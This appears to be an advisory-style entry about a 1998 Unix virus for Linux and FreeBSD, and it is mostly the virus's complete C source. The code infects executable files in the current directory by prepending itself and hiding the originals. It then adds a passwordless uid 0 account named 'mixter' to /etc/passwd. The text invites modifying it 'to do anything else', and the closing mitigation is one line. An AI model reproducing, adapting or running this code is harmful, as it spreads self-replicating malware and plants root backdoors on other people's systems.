COMMAND
virus
SYSTEMS AFFECTED
Linux 1.x, Linux 2.x, FreeBSD 2.x
PROBLEM
The module infector for Linux kernels (see 'virus' in Linux
section) made Mixter make a code that was able to spawn itself on
a FreeBSD host and run arbitary commands as root as soon as one
infected file was run by root. This is more or less the same
principle like the "bliss" virus. This virus is *really* simple,
it searches for files with write permission by brute force trying
to infect files. It will then infect the file with arbitary code
and mark it as infected. The default "malicious" action is to
add a uid 0 user to /etc/passwd. This source can be freely
modified to do anything else.
/* fuzz.c - example of a Unix Virus
* written in July 1998 by Mixter <mixter@gmx.net>
* works on: Linux 1.x, Linux 2.x, FreeBSD 2.x
* possibly works on: Any BSD, SunOS, HPUX, IRIX
* parts of the source code copyright by "American Eagle Publications"
* this virus does NOT need root, but it would help a lot :) */
#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
#include <sys/stat.h>
DIR *dirp; /* directory search structure */
struct dirent *dp; /* directory entry record */
struct stat st; /* file status record */
int stst; /* status-call status */
FILE *host,*virus, *pwf; /* host/virus/passwd file */
long FileID; /* 1st 4 bytes of host */
char buf[512]; /* buffer for disk reads/writes */
char *lc,*ld; /* used to search for virus */
size_t amt_read,hst_size; /* amount read from file, host size */
size_t vir_size=13264; /* size of virus, in bytes */
char dirname[10]; /* subdir where virus stores itself */
char hst[512];
/* line being added to /etc/passwd */
char mixter[]="mixter::0:0:root:/:/bin/sh";
void readline() {
lc=&buf[1];
buf[0]=0;
while (*(lc-1)!=10) {
fread(lc,1,1,pwf);
lc++;
}
}
void writeline() {
lc=&buf[1];
while (*(lc-1)!=10) {
fwrite(lc,1,1,host);
lc++;
}
}
int main(argc, argv, envp) /* use evironment pathname, ANSI compliant */
int argc; char *argv[], *envp[];
{
strcpy((char *)&dirname,"./\005"); /* get host directory */
dirp=opendir("."); /* begin directory search */
while ((dp=readdir(dirp))!=NULL) { /* have a file, check it out */
if ((stst=stat((const char *)&dp->d_name,&st))==0) { /* get status */
lc=(char *)&dp->d_name;
while (*lc!=0) lc++;
lc=lc-3; /* lc points to last 3 chars in file name */
if ((!((*lc=='X')&&(*(lc+1)=='2')&&(*(lc+2)=='3'))) /* infected? */
&&(st.st_mode&S_IXUSR!=0)) { /* and executable? */
strcpy((char *)&buf,(char *)&dirname);
strcat((char *)&buf,"/");
strcat((char *)&buf,(char *)&dp->d_name); /* see if infected file */
strcat((char *)&buf,".fuzz"); /* exists already */
if ((host=fopen((char *)&buf,"r"))!=NULL) fclose(host);
else { /* no it doesn't - infect! */
host=fopen((char *)&dp->d_name,"r");
fseek(host,0L,SEEK_END); /* determine host size */
hst_size=ftell(host);
fclose(host);
if (hst_size>=vir_size) { /* host must be large than virus */
mkdir((char *)&dirname,S_IRWXU|S_IRWXG|S_IRWXO);
rename((char *)&dp->d_name,(char *)&buf); /* rename host */
if ((virus=fopen(argv[0],"r"))!=NULL) {
if ((host=fopen((char *)&dp->d_name,"w"))!=NULL) {
while (!feof(virus)) { /* and copy virus to orig */
amt_read=512; /* host name */
amt_read=fread(&buf,1,amt_read,virus);
fwrite(&buf,1,amt_read,host);
hst_size=hst_size-amt_read;
}
fwrite(&buf,1,hst_size,host);
fclose(host);
chmod((char *)&dp->d_name,S_IRWXU|S_IRWXG|S_IRWXO);
strcpy((char *)&buf,(char *)&dirname);
strcpy((char *)&buf,"/");
strcat((char *)&buf,(char *)&dp->d_name);
chmod((char *)&buf,S_IRWXU|S_IRWXG|S_IRWXO);
}
else
rename((char *)&buf,(char *)&dp->d_name);
fclose(virus); /* infection process complete */
}
else
rename((char *)&buf,(char *)&dp->d_name);
}
}
}
}
}
/* INSERT YOUR FUNCTION HERE IF ANY */
(void)closedir(dirp); /* infection process complete for this dir */
/* now see if we can get at the password file */
if ((pwf=fopen("/etc/passwd","r+"))!=NULL) {
host=fopen("/etc/.pw","w"); /* temporary file */
stst=0;
while (!feof(pwf)) {
readline(); /* scan the file for user "mixter" */
lc=&buf[1];
if ((*lc=='m')&&(*(lc+1)=='i')&&(*(lc+2)=='x')&&(*(lc+3)=='t')&&
(*(lc+4)=='e')&&(*(lc+5)=='r')) stst=1;
writeline();
}
if (stst==0) { /* if no "mixter" found */
strcpy((char *)&buf[1],(char *)&mixter); /* add it */
lc=&buf[1]; while (*lc!=0) lc++;
*lc=10;
writeline();
}
fclose(host);
fclose(pwf);
rename("/etc/.pw","/etc/passwd"); /* update passwd */
}
strcpy((char *)&buf,argv[0]); /* the host is this program's name */
lc=(char *)&buf; /* find end of directory path */
while (*lc!=0) lc++;
while (*lc!='/') lc--;
*lc=0; lc++;
strcpy((char *)&hst,(char *)&buf);
ld=(char *)&dirname+1; /* insert the ^E directory */
strcat((char *)&hst,(char *)ld); /* and put file name on the end */
strcat((char *)&hst,"/");
strcat((char *)&hst,(char *)lc);
strcat((char *)&hst,".fuzz"); /* with virus tacked on */
execve((char *)&hst,argv,envp); /* execute this program's host */
}
SOLUTION
chattr +i your executables maybe and never execute unchecked
binaries as root